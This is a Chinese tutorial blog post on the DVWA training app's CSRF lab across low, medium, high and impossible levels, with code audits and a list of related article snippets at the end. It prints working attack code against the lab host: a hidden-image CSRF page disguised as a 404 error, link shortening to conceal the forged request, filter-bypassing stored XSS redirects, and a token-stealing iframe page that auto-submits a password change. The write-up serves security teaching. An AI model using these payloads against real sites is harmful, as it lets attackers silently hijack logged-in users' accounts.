代码编织梦想

1 实验简介

1.1 实验目的

  1. 加深对CSRF原理的理解和应用。
  2. 利用DVWA靶场中的CSRF关卡进行实验,通关的要求是利用CSRF漏洞改掉管理员的密码。

1.2 实验环境

  1. 靶机服务器:win2008,以下简称为服务器A,IP地,192.168.1.4。本节实验基于WAMP环境下的DVWA靶场进行,相关的安装过程参考文章《WAMP环境+DVWA漏洞测试平台搭建过程
    在这里插入图片描述
  2. 受害人:靶机服务器管理员。
  3. 攻击者:另一台win2008服务器,以下简称为服务器B,同样部署WAMP环境用于需要时可以部署攻击网页。

2 Low难度

2.1 前戏

  1. 真实机浏览器登录账号admin密码password,模拟管理员远程管理服务器。
    在这里插入图片描述
  2. 将靶场的安全等级设置为low并点击提交按钮。
    在这里插入图片描述
  3. 从左侧的CSRF栏目中进入本实验题目。
    在这里插入图片描述

2.2 实验步骤

  1. 右键网页,点击查看页面源代码,显示代码如下。在代码的56~63行,我们看到点击提交按钮时,网页将向服务器提交一个表单,表单内容有两次输入的密码和按钮值,提交方式为GET。
<!DOCTYPE html>
<html lang="en-GB">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Vulnerability: Cross Site Request Forgery (CSRF) :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>
		<link rel="stylesheet" type="text/css" href="../../dvwa/css/main.css" />
		<link rel="icon" type="\image/ico" href="../../favicon.ico" />
		<script type="text/javascript" src="../../dvwa/js/dvwaPage.js"></script>
	</head>
	<body class="home">
		<div id="container">
			<div id="header">
				<img src="../../dvwa/images/logo.png" alt="Damn Vulnerable Web Application" />
			</div>
			<div id="main_menu">
				<div id="main_menu_padded">
				<ul class="menuBlocks"><li class=""><a href="../../.">Home</a></li>
<li class=""><a href="../../instructions.php">Instructions</a></li>
<li class=""><a href="../../setup.php">Setup / Reset DB</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="../../vulnerabilities/brute/">Brute Force</a></li>
<li class=""><a href="../../vulnerabilities/exec/">Command Injection</a></li>
<li class="selected"><a href="../../vulnerabilities/csrf/">CSRF</a></li>
<li class=""><a href="../../vulnerabilities/fi/.?page=include.php">File Inclusion</a></li>
<li class=""><a href="../../vulnerabilities/upload/">File Upload</a></li>
<li class=""><a href="../../vulnerabilities/captcha/">Insecure CAPTCHA</a></li>
<li class=""><a href="../../vulnerabilities/sqli/">SQL Injection</a></li>
<li class=""><a href="../../vulnerabilities/sqli_blind/">SQL Injection (Blind)</a></li>
<li class=""><a href="../../vulnerabilities/weak_id/">Weak Session IDs</a></li>
<li class=""><a href="../../vulnerabilities/xss_d/">XSS (DOM)</a></li>
<li class=""><a href="../../vulnerabilities/xss_r/">XSS (Reflected)</a></li>
<li class=""><a href="../../vulnerabilities/xss_s/">XSS (Stored)</a></li>
<li class=""><a href="../../vulnerabilities/csp/">CSP Bypass</a></li>
<li class=""><a href="../../vulnerabilities/javascript/">JavaScript</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="../../security.php">DVWA Security</a></li>
<li class=""><a href="../../phpinfo.php">PHP Info</a></li>
<li class=""><a href="../../about.php">About</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="../../logout.php">Logout</a></li>
</ul>
				</div>
			</div>
			<div id="main_body">
<div class="body_padded">
	<h1>Vulnerability: Cross Site Request Forgery (CSRF)</h1>
	<div class="vulnerable_code_area">
		<h3>Change your admin password:</h3>
		<br /> 
		<div id="test_credentials">
 <button onclick="testFunct()">Test Credentials</button><br /><br />
 <script>
function testFunct() {
  window.open("../../vulnerabilities/csrf/test_credentials.php", "_blank", 
  "toolbar=yes,scrollbars=yes,resizable=yes,top=500,left=500,width=600,height=400");
}
</script>
		</div><br />
		<form action="#" method="GET">
			New password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
			Confirm new password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
			<br />
			<input type="submit" value="Change" name="Change">
		</form>
	</div>
	<h2>More Information</h2>
	<ul>
		<li><a href="https://owasp.org/www-community/attacks/csrf" target="_blank">https://owasp.org/www-community/attacks/csrf</a></li>
		<li><a href="http://www.cgisecurity.com/csrf-faq.html" target="_blank">http://www.cgisecurity.com/csrf-faq.html</a></li>
		<li><a href="https://en.wikipedia.org/wiki/Cross-site_request_forgery " target="_blank">https://en.wikipedia.org/wiki/Cross-site_request_forgery </a></li>
	</ul>
</div>
				<br /><br />
			</div>
			<div class="clear">
			</div>
			<div id="system_info">
				<input type="button" value="View Help" class="popup_button" id='help_button' data-help-url='../../vulnerabilities/view_help.php?id=csrf&security=low&locale=en' )"> <input type="button" value="View Source" class="popup_button" id='source_button' data-source-url='../../vulnerabilities/view_source.php?id=csrf&security=low' )"> <div align="left"><em>Username:</em> admin<br /><em>Security Level:</em> low<br /><em>Locale:</em> en<br /><em>PHPIDS:</em> disabled<br /><em>SQLi DB:</em> mysql</div>
			</div>
			<div id="footer">
				<p>Damn Vulnerable Web Application (DVWA) v1.10 *Development*</p>
				<script src='../..//dvwa/js/add_event_listeners.js'></script>
			</div>
		</div>
	</body>
</html>
  1. 对此,攻击者可以考虑构造一个请求,提交的参数包括password_new、password_conf、Change。比如说,管理员在登录状态下访问到该网页,此处我们在同一个浏览器中新建一个窗口并访问以下链接。http://192.168.1.4/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change,链接中IP地址需要根据服务器A而修改。可以看到显示如下页面,点击Test Credentials可以验证密码被成功修改成123456。
    在这里插入图片描述
  2. 上面步骤是管理员自己在浏览器输入上述链接而致使密码修改,是有意并且是出于本意的行为,而如果是该链接在无意中被触发,则会导致密码被修改成攻击者所需要的字样。我们先把密码改回成password再继续下一步实验。
    在这里插入图片描述
  3. 攻击者想要再不知不觉中攻击管理员,可能会在服务器B上网站根目录下新建一个txt文件,输入以下代码,并重命名为CSRF.php。代码中border和style属性是为了让图片不显示避免暴露,读者可以自行删去观察效果。
<img src="http://192.168.1.4/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change" border="0" style="display:none;"/>
<html>
<h1>404<h1>
<h2>file not found.<h2>
</html>
  1. 当管理员在没有退出账户的情况下,不小心访问到攻击者构造的网页,显示如下,不会出现密码被修改的页面或字样。到此,密码已在不知不觉中被修改成攻击者伪造的那样。
    在这里插入图片描述
  2. 另外地,如果是为了更加隐蔽,攻击者还将对其构造的链接进行短链接修饰,在短链接在线平台上可以进行转换,比如将上述链接转换再重新编写网页,这样这受害者即便查看网页源代码也难以看出端倪。
    在这里插入图片描述

2.3 代码审计

  1. 实验结束后我们做一波代码审计。点击页面右下角查看后台文件代码。
    在这里插入图片描述
  2. 第2行,服务器先判断是否是点击Change按钮到达此页面;
  3. 第3~5行,服务器从GET请求中获取要用户输入的两次密码;
  4. 第6~20行,根据两次密码是否一致分支执行:
    1. 第8~15行,当两次密码一致时,先判断数据库是否成功连接,再继续修改密码;
    2. 第19行,当两次密码不一致时,输出提示。
  5. 第21行,关闭与数据库的连接。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?> 

3 Medium难度

3.1 前戏

  1. 将靶场难度调整为Medium,切换到SCRF漏洞页面开始实验。
    在这里插入图片描述
  2. 右键网页,点击查看页面源代码,显示代码如下,与Low级别网页源代码一致,。在代码的56~63行,我们看到点击提交按钮时,网页将向服务器提交一个表单,表单内容有两次输入的密码和按钮值,提交方式为GET。
<!DOCTYPE html>
<html lang="en-GB">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Vulnerability: Cross Site Request Forgery (CSRF) :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*</title>
		<link rel="stylesheet" type="text/css" href="../../dvwa/css/main.css" />
		<link rel="icon" type="\image/ico" href="../../favicon.ico" />
		<script type="text/javascript" src="../../dvwa/js/dvwaPage.js"></script>
	</head>
	<body class="home">
		<div id="container">
			<div id="header">
				<img src="../../dvwa/images/logo.png" alt="Damn Vulnerable Web Application" />
			</div>
			<div id="main_menu">
				<div id="main_menu_padded">
				<ul class="menuBlocks"><li class=""><a href="../../.">Home</a></li>
<li class=""><a href="../../instructions.php">Instructions</a></li>
<li class=""><a href="../../setup.php">Setup / Reset DB</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="../../vulnerabilities/brute/">Brute Force</a></li>
<li class=""><a href="../../vulnerabilities/exec/">Command Injection</a></li>
<li class="selected"><a href="../../vulnerabilities/csrf/">CSRF</a></li>
<li class=""><a href="../../vulnerabilities/fi/.?page=include.php">File Inclusion</a></li>
<li class=""><a href="../../vulnerabilities/upload/">File Upload</a></li>
<li class=""><a href="../../vulnerabilities/captcha/">Insecure CAPTCHA</a></li>
<li class=""><a href="../../vulnerabilities/sqli/">SQL Injection</a></li>
<li class=""><a href="../../vulnerabilities/sqli_blind/">SQL Injection (Blind)</a></li>
<li class=""><a href="../../vulnerabilities/weak_id/">Weak Session IDs</a></li>
<li class=""><a href="../../vulnerabilities/xss_d/">XSS (DOM)</a></li>
<li class=""><a href="../../vulnerabilities/xss_r/">XSS (Reflected)</a></li>
<li class=""><a href="../../vulnerabilities/xss_s/">XSS (Stored)</a></li>
<li class=""><a href="../../vulnerabilities/csp/">CSP Bypass</a></li>
<li class=""><a href="../../vulnerabilities/javascript/">JavaScript</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="../../security.php">DVWA Security</a></li>
<li class=""><a href="../../phpinfo.php">PHP Info</a></li>
<li class=""><a href="../../about.php">About</a></li>
</ul><ul class="menuBlocks"><li class=""><a href="../../logout.php">Logout</a></li>
</ul>
				</div>
			</div>
			<div id="main_body">
<div class="body_padded">
	<h1>Vulnerability: Cross Site Request Forgery (CSRF)</h1>
	<div class="vulnerable_code_area">
		<h3>Change your admin password:</h3>
		<br /> 
		<div id="test_credentials">
 <button onclick="testFunct()">Test Credentials</button><br /><br />
 <script>
function testFunct() {
  window.open("../../vulnerabilities/csrf/test_credentials.php", "_blank", 
  "toolbar=yes,scrollbars=yes,resizable=yes,top=500,left=500,width=600,height=400");
}
</script>
		</div><br />
		<form action="#" method="GET">
			New password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
			Confirm new password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
			<br />
			<input type="submit" value="Change" name="Change">
		</form>
	</div>
	<h2>More Information</h2>
	<ul>
		<li><a href="https://owasp.org/www-community/attacks/csrf" target="_blank">https://owasp.org/www-community/attacks/csrf</a></li>
		<li><a href="http://www.cgisecurity.com/csrf-faq.html" target="_blank">http://www.cgisecurity.com/csrf-faq.html</a></li>
		<li><a href="https://en.wikipedia.org/wiki/Cross-site_request_forgery " target="_blank">https://en.wikipedia.org/wiki/Cross-site_request_forgery </a></li>
	</ul>
</div>
				<br /><br />
			</div>
			<div class="clear">
			</div>
			<div id="system_info">
				<input type="button" value="View Help" class="popup_button" id='help_button' data-help-url='../../vulnerabilities/view_help.php?id=csrf&security=medium&locale=en' )"> <input type="button" value="View Source" class="popup_button" id='source_button' data-source-url='../../vulnerabilities/view_source.php?id=csrf&security=medium' )"> <div align="left"><em>Username:</em> admin<br /><em>Security Level:</em> medium<br /><em>Locale:</em> en<br /><em>PHPIDS:</em> disabled<br /><em>SQLi DB:</em> mysql</div>
			</div>
			<div id="footer">
				<p>Damn Vulnerable Web Application (DVWA) v1.10 *Development*</p>
				<script src='../..//dvwa/js/add_event_listeners.js'></script>
			</div>
		</div>
	</body>
</html>
  1. 与Low难度同样地,我们再次尝试访问SCRF.php页面,发现修改不了密码了。正常情况下攻击者想要知道网站有什么漏洞只能靠猜,此时我们有本地源代码,先来一波代码审计。可以看到其代码与Low级别的区别主要是多了第四行,对请求的Referer进行了检验。
 <?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

3.2 实验思路

想要修改请求的Referer,利用BurpSuite是可行的,但是显然受害者不会自己刻意去修改Referer去引发漏洞。这时,攻击者会想方设法地将恶意代码在服务器A本地执行,这样请求的Referer就是服务器A自身的,这也许有以下几种方式(应该不止):

  1. 方法一:利用文件上传漏洞将带有恶意代码的文件上传到服务器A本地,通过其他方式诱使受害者触发。
  2. 方法二:利用XSS漏洞将代码注入到服务器A本地,通过其他方式诱使受害者触发。
  3. 其他:应该有网页代码可以发送请求,并且在网页中就定义好referer的方法的。

3.3 方法一:诱导点击链接

  1. 假设攻击者已经利用文件上传漏洞,将上文中的CSRF.php文件上传到服务器A本地根目录下,为了方便区分,将该文件重命名为CSRF_A.php。
  2. 当管理员在登录的情况下,访问到CSRF_A.php,则密码会被修改,说明文件存放在该位置触发请求时是可以满足referer要求的。
  3. 为让受害者无意间触发CSRF_A.php中的代码,攻击者需要诱导受害者去触发。
  4. 攻击者在服务器B的网站根目录下,新建一个txt文件,输入以下内容,并将其重命名为CSRF_B.php,网络地址为192.168.1.7/CSRF.php。
<img src="http://192.168.1.4/CSRF_A.php" border="0" style="display:none;"/>
<html>
<h1>404<h1>
<h2>file not found.<h2>
</html>
  1. 受害者无意间访问192.168.1.7/CSRF.php,本以为这样可以触发CSRF_B.php中的src代码,进而触发CSRF_A.php中的src代码,进而提交伪造的请求,进而修改密码。然而发现失败了,在BurpSuite上进行数据抓取后发现,只有SCRF_B中src请求被触发,SCRF_A中的则没有触发,猜测应该是SCRF_A页面不需要渲染导致的。
  2. 攻击者完善SCRF_B代码如下。
<a href="http://192.168.1.4/CSRF_A.php">是兄弟就来砍我呀!</a>
  1. 当受害者点击下面链接时,密码被修改。该方法需要受害者进入到该网页,还要点击该标签才能完成攻击,按贝叶斯概率推断其成功率将很低。
    在这里插入图片描述

3.4 方法二:XSS+CSRF协同攻击

3.4.1 步骤一:测试XSS漏洞

  1. 真实机浏览器(当做攻击者),访问靶场并登录攻击者账号密码,用户smithy,其密码为password,查看一些安全等级是否为Medium,如果不是则选择Medium并点击提交。
    在这里插入图片描述
  2. 进入到存储型XSS漏洞界面,此处有两处输入位置,分别是name和message。需要分别测试看看能否注入XSS脚本。分别输入<script " 'OOnn>测试浏览器反应,在输入过程中,看到name字符串显示不完全,按F12查看网页元素,可以看到此处前端代码限制了name的输入长度,将其修改为100。
    在这里插入图片描述
  3. 再次分别输入<script " 'OOnn>,点击Sign测试浏览器反应,可以看到显示内容如下,页面只出现了name的标签,输入的参数都没有显示。查看网页元素如下,可以看到在name输入位置的参数成功显示,message则没有显示,可能是过滤了。因此注入点优先考虑name。
    在这里插入图片描述
  4. 尝试在name处输入注入语句<script>alert(/xss/)</script>,message处输入111,点击Sign测试浏览器反应,页面显示如下,可以看到<script>被过滤了。对比上一步,可以看到如果不是大小于号与script直接相连,就不会被过滤。
    在这里插入图片描述
  5. 根据上一步分析,可以考虑采用大小写混编、双写、或插入符号将<script>拆开来绕过。可以尝试在name处输入,message处输入222,点击Sign时弹出窗口,说明成功写入XSS代码。
    在这里插入图片描述

3.4.2 步骤二:XSS+CSRF

  1. 在文章《跨站请求伪造——DVWA靶场实操》中,我们分析得出在Medium难度下进行CSRF攻击时后台会对请求的Referer进行检验,需要在服务器本地发送如下请求。
http://192.168.1.4/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
  1. 短链接生成平台上将上述链接转换成短链接如http://u6.gg/k5msz

  2. 继续使用攻击者用户smithy,在存储型XSS处测试页面,将之前输入的内容清空。
    (1)按F12修改name处允许输入的参数长度;
    (2)在name处输入参数CSRF<Script>window.location='http://u6.gg/k5msz'</Script>
    (3)在message中输入“攻击成功”;
    (4)点击Sign。
    在这里插入图片描述

  3. 当点击后,页面自动调整到CSRF漏洞界面,并显示密码修改成功,点击验证发现密码被修改成123456。
    在这里插入图片描述

  4. 在靶机登录管理员账户admin,密码password,当点击存储型XSS栏目时,页面直接跳转到CSRF页面,并提示密码已修改。
    在这里插入图片描述

  5. 至此,CSRF+XSS协同攻击完成,只是该跳转结果后的显示效果不是那么了无痕,容易被发现。

3.4.3 其他XSS注入代码

  1. 先在该页面最下方将数据库重置,然后将admin和smithy两个账户的密码修改为password,继续实验。
    在这里插入图片描述
  2. 登录smithy账户,在XSS代码注入时,将name参数修改为<a href="http://u6.gg/k5msz">是兄弟就来砍我!</a>,message输入“攻击成功”,并点击Sign。
    在这里插入图片描述
  3. 该方法就像是留言一样,留下来一个陷阱,诱导受害者点击。
    在这里插入图片描述
  4. 在靶机登录管理员账户,切换到存储型XSS漏洞页面并点击“是兄弟就来砍我”,页面跳转到CSRF页面,并显示密码修改成功。
    在这里插入图片描述

4 High难度

4.1 前戏

  1. 将两个账户的密码还原为默认的password,将靶场难度调整为Hign,切换到SCRF漏洞页面开始实验。
  2. 右键该网页,点击查看网页源代码。可以看到与前两个级别的实验不同的是,这个难度的请求中多了token参数。
    在这里插入图片描述
  3. 先按正常的密码修改,看一下请求。可以看到网页的URL跳转如下:
http://192.168.1.4/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token=512facdc2bfa06686cd08906ace02d13#
  1. 由于每次访问token均会刷新,所以请求伪造时不能将请求参数写死。此时,攻击者可能会从以下两步进行攻击:
    (1)先想构造一个网页。这个网页能获取本地浏览器中的token信息,然后将给信息拼接到所构造请求的参数中,最后在提交完整的请求报文。假设攻击者通过文件上传等漏洞将含有恶意代码的文件存放到服务器根目录下,文件名为SCRF_A.php。
    (2)在利用存储型XSS漏洞引诱受害者点击激活上述网页。

4.2 步骤一:XSS漏洞利用

  1. 采用逆推的思路,方便验证每一步是否成功,因此实验进行过程中应先对XSS漏洞进行实验,确保该漏洞能被成功利用,就像Medium难度一样。
  2. 利用攻击者账号smithy登录靶场,进入存储型XSS漏洞页面,按F12修改name参数允许输入长度,然后在将name参数输入<a href="http://192.168.1.4/CSRF_A.php">是兄弟就来砍我!</a>,message输入攻击成功,并点击Sign。
    在这里插入图片描述
  3. 可以看到代码注入成功,如果是在其他场合也许会更加具备欺骗性。
    在这里插入图片描述

4.3 步骤二:构造网页

  1. 假设攻击者通过文件上传等漏洞将含有恶意代码的文件存放到服务器根目录下,文件名为SCRF_A.php,文件内容如下。
<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>传奇</title>
    <script type="text/javascript">
        //获取用户的token,并设置为表单中的token,然后提交修改密码的表单
        function attack()
        {
            document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
            document.getElementById("transfer").submit();
        }
    </script>
</head>
<h1>这是假传奇</h1>
<body onload="attack()">
    <iframe src="http://192.168.1.4/dvwa/vulnerabilities/csrf/" id="hack"  style="display:none;">  <!--在该网页内打开另一个网页-->
    </iframe>
    <form method="GET" id="transfer"  action="http://192.168.1.4/dvwa/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="123456">
        <input type="hidden" name="password_conf" value="123456">
        <input type="hidden" name="user_token" value="">
        <input type="hidden" name="Change" value="Change">
    </form>
</body>
</html>
  1. 靶机浏览器登录管理员账户,切换到存储型漏洞环境中,可以看到有该链接可以点,受害者可能会出于好奇或其他心理,点击该链接。
    在这里插入图片描述
  2. 哦豁,凉凉,密码被修改。
    在这里插入图片描述
  3. 同样的参考Medium难度可以将XSS代码换成其他形式,此处不再赘述。

5 Impossible难度

  1. 将密码设置为默认密码,方便以后实验。
  2. 登录攻击者账号,将安全级别调整为impossible,同时访问CSRF页面,如下,修改密码时需要提供原密码。
    在这里插入图片描述
  3. 到此,在逻辑上就已经没有攻击的必要的,如果能获取受害者密码,也就没必要修改密码了。实验结束。

6 总结

  1. 掌握网页相关语言中各种标签的运用;
  2. 灵活使用XSS注入代码;
  3. 掌握CSRF攻击的方法;
  4. 掌握XSS+CSRF协同攻击的方法。

参考文献

  1. JavaScript基础
  2. XMLHttpRequest.open()
  3. XMLHttpRequest.send()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Fighting_hawk/article/details/123491148

CSRF(跨站请求伪造)漏洞-爱代码爱编程

CSRF(Cross-site request forgery) 跨站请求伪造,由客户端发起,是一种劫持受信任用户向服务器发送非预期请求的攻击方式,与XSS相似,但比XSS更难防范,常与XSS一起配合攻击

dvwa之csrf攻击(low&medium&high)_lwblovezj的博客-爱代码爱编程

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF

dvwa系列(五)——使用burpsuite进行csrf(跨站请求伪造)_橘子女侠的博客-爱代码爱编程

1. CSRF(跨站请求伪造)简介 (1)CSRF CSRF(Cross—site request forgery),跨站请求伪造,是指利用受害者未失效的身份认证信息(cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下,以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账,改密

kali渗透测试之dvwa系列6——csrf(跨站请求伪造)_浅浅爱默默的博客-爱代码爱编程

目录 一、CSRF简介        二、原理示意图 三、实验环境 四、实验步骤        安全级别:Low(四种方法)        安全级别:Medium        安全级别:High        安全级别:Impossible 一、CSRF简介                CSRF(Cross-site req

csrf跨站请求伪造(dvwa演示)_安全小菜鸡的博客-爱代码爱编程_dvwa演示xsrf

CSRF (Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF。 跨站请求伪造是指利用受害者尚未

dvwa学习之csrf(跨站请求伪造)_litchi125的博客-爱代码爱编程

DVWA学习之CSRF CSRF(Cross-site request forgery,跨站请求伪造)0x01 何为CSRF?0x02 CSRF原理0x03 low级别0x04 medium级别0x05 high级别

DVWA系列之CSRF(跨站请求伪造)源码分析及漏洞利用-爱代码爱编程

CSRF(Cross-site request forgery)  CSRF,全称Cross-site request forgery,跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如

DVWA 实验报告:3、跨站请求伪造 CSRF-爱代码爱编程

文章更新于:2020-05-14注1:环境搭建参见:搭建DVWA Web渗透测试靶场注2:实验报告2参见:DVWA 实验报告:2、命令注入注3:本文部分参考:新手指南:DVWA-1.9全级别教程之CSRF DVWA之跨站请求伪造漏洞 CSRF 一、前言二、安全级别:LOW2.1、源码2.2、攻击三、安全级别:Medium3.2、攻击四、安全级别

Web安全:CSRF跨站请求伪造攻击解析-爱代码爱编程

Web安全:CSRF跨站请求伪造攻击解析 CSRF漏洞简介CSRF攻击类型按请求类型按攻击方式CSRF漏洞利用场景针对CSRF防护方案添加中间环节验证用户请求合法性用户层面CSRF漏洞的检测CSRF 漏洞总结参考资料 CSRF漏洞简介 1. CSRF漏洞简介跨站请求伪造(Cross-site request forgery),通常缩写为CSR

CSRF初探、跨站请求伪造(同源策略、Cookie作用域、DVWA实验)详解-爱代码爱编程

CSRF初探、跨站请求伪造(同源策略、Cookie作用域、DVWA实验)详解 一、CSRF初探(同源策略)二、CSRF初探(Cookie作用域)三、CSRF跨站请求伪造(详解)四、CSRF跨站请求伪造(DVWA实验)DVWA实验(Low)DVWA实验(medium) 一、CSRF初探(同源策略) 1、什么是CSRF? 跨站请求伪造,也被称为

CSRF与XSS的组合拳演示-爱代码爱编程

一.存储型XSS与CSRF(在存储型xss中加入CSRF) 1.配置代理 2.打开CSRFTester工具 3.抓取流量 注意:Form Parameters需要将左面的两行复制过去可修改,第二个红箭头的勾选最好去掉,因为有时候自动生成的poc不能用,需要做一些更改,最后点击Generate HTML进行保存至自定义目录下,名称csrf5.html 4.查

DVWA之CSRF(跨站请求伪造)-爱代码爱编程

DVWA之CSRF(跨站请求伪造) 目录 DVWA之CSRF(跨站请求伪造)原理低等级一般方法利用poc实现结合存储型XSS利用中等级高等级与XSS进行比较 原理 利用受害者尚未失效的身份认证信息、会话;诱骗其访问黑客设计好的页面,在受害人不知情的情况下以受害人的身份向服务器发送请求,完成非法操作。 框图: 低等级 一般方法 当前登

跨站请求伪造——CSRF攻击实验报告-爱代码爱编程

跨站请求伪造是Web安全中最基础的一个实验,由于现在网站的防护措施做的比较完善,已经不怎么能见到这种攻击了,更多的是下一篇博客所讲述的跨站脚本攻击(XSS) 这个实验比较简单,所以百分之五十的时间花在摸索docker的使用上。。 一.环境搭建 1.搭建docker并获得docker下的shell 创建docker镜像 由下图可见docker镜像创建成

DVWA—CSRF(跨站请求伪造)-爱代码爱编程

实验环境: DVWA靶机:172.16.12.10  windos攻击机:172.16.12.7 kali攻击机:172.16.12.30 实验步骤: 一、Low级 1、源码分析 <?php if( isset( $_GET[ 'Change' ] ) ) { // Get input //获取两个输入框的密码 $

存储型XSS和CSRF联合漏洞利用(CVE-2017-9064 CVE-2019-16117 )-爱代码爱编程

CVE-2019-16117(XSS) 实验环境: 软件版本:wordpress-5.2.2 插件版本:photo-gallery.1.5.34 实验原理: 攻击者在页面插入xss代码,服务端将数据存入数据库,当用户访问存在xss漏洞的页面时,服务端从数据库取出数据展示到页面上,导致xss代码执行,达到攻击效果. 实验场景: 只要用户点击了存在

DVWA 跨站请求伪造(CSRF)-爱代码爱编程

1.跨站请求伪造(CSRF) 1.low 明文信息直接显示在url中password_new和password_conf两个变量 可以通过直接修改url中的这两个参数来更改 2.medium  在medium中还是明文出现url但使尝试更改参数是返回这个请求看起来不正确  这里f12看从请求头可以知道没有referer bp抓